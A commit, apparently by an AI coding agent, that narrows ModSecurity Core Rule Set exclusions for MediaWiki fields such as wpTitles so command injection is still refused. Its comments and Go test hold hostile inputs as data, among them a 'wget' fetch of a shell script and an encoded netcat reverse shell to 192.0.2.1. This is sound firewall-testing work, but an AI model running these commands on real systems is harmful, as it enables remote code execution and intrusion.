1 Commits
Author SHA1 Message Date
clawbot 4648bf61c2 Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
check / check (push) Failing after 3m49s
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, also skips 932125, 932230 and 932380, which read a title at the
start of a line as a command. It skips 932235 and 932260 only when the
body sends it once and it holds no ";", "|", "&" or backtick, checked by
a phase 2 rule, so "; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5
2026-11-10 01:13:57 +00:00
3 changed files with 32 additions and 13 deletions

No files matched your search

+7 -4
View File
@@ -1040,10 +1040,13 @@ requests. The changes hold in front of every app, and no setting undoes them:
- `user-reason`, for changing a user's groups; - `user-reason`, for changing a user's groups;
- `mwProtect-reason`, for protecting a page. - `mwProtect-reason`, for protecting a page.
- On MediaWiki's pages, `wpTitles`, the list of watched pages that - On MediaWiki's pages, `wpTitles`, the list of watched pages that
`Special:EditWatchlist/raw` sends, one title per line. A title at the `Special:EditWatchlist/raw` sends, one title per line. It skips the same
start of a line reads as a command, so this field also skips 932125, four rules. A title at the start of a line reads as a command, so it also
932230, 932235 and 932380. A command such as skips 932125, 932230, 932235 and 932380. It skips 932235 and 932260 only
`; wget http://example.com/x.sh` therefore passes in this field. when it holds no `;`, `|`, `&` or backtick. So a command such as
`; wget http://example.com/x.sh` is still refused. A list that mixes a
title holding one of these with a title starting with a command name is
refused too.
- The wikitext of a page, which holds templates, tables and any code it - The wikitext of a page, which holds templates, tables and any code it
shows: shows:
- `wpTextbox1` on MediaWiki's pages; - `wpTextbox1` on MediaWiki's pages;
+20 -7
View File
@@ -15,7 +15,7 @@
# Pages under /wiki/ need neither. # Pages under /wiki/ need neither.
# #
# Four rules read a search, a title or a name as a command or a system file. # Four rules read a search, a title or a name as a command or a system file.
# Each exclusion below for such a field removes these four, and only these: # Each exclusion below for such a field removes these four:
# 930120: .htaccess # 930120: .htaccess
# 932120: powershell # 932120: powershell
# 932250: ls -la # 932250: ls -la
@@ -181,10 +181,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per # Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
# line. A title at the start of a line reads as a command to 932125, 932230, # line. A title at the start of a line reads as a command to 932125, 932230,
# 932235 and 932380, so wpTitles skips those as well as the four rules: # 932235 and 932380, so wpTitles skips those as well as the four rules:
# "Lighthouse notes", "Python3 notes", "Ls -la notes" and ".htaccess notes" # "Lighthouse notes", "Python3 notes", "Powershell notes", "Ls -la notes"
# The only rules that refuse "; wget http://example.com/x.sh" in wpTitles are # and ".htaccess notes"
# 932235 and 932260, so that command passes there. Commands with $(...) or a # It skips 932235 and 932260 only when it holds no ";", "|", "&" or backtick,
# shell path such as /bin/sh are still refused. # so "; wget http://example.com/x.sh" is still refused. A watchlist that mixes
# a title holding one of these with a title starting with a command name is
# refused too.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900915,phase:1,pass,nolog,chain" "id:900915,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
@@ -193,7 +195,18 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932250;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip both rules for a second wpTitles holding
# a command.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`]" \
"ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles"
+5 -2
View File
@@ -270,11 +270,14 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got) t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
} }
// wpTitles skips 932235 and 932260, so mediawikiCommandAttack passes // wpTitles skips 932235 and 932260 only when it holds no ";", "|", "&"
// there. Commands with $(...) or /bin/sh are still refused. // or backtick, and only when the body sends it once.
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
for _, attack := range []string{ for _, attack := range []string{
mediawikiCommandAttack,
"Example%0D%0A" + mediawikiCommandAttack,
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
"Example%0D%0A%24%28id%29", "Example%0D%0A%24%28id%29",
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444", "Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
} { } {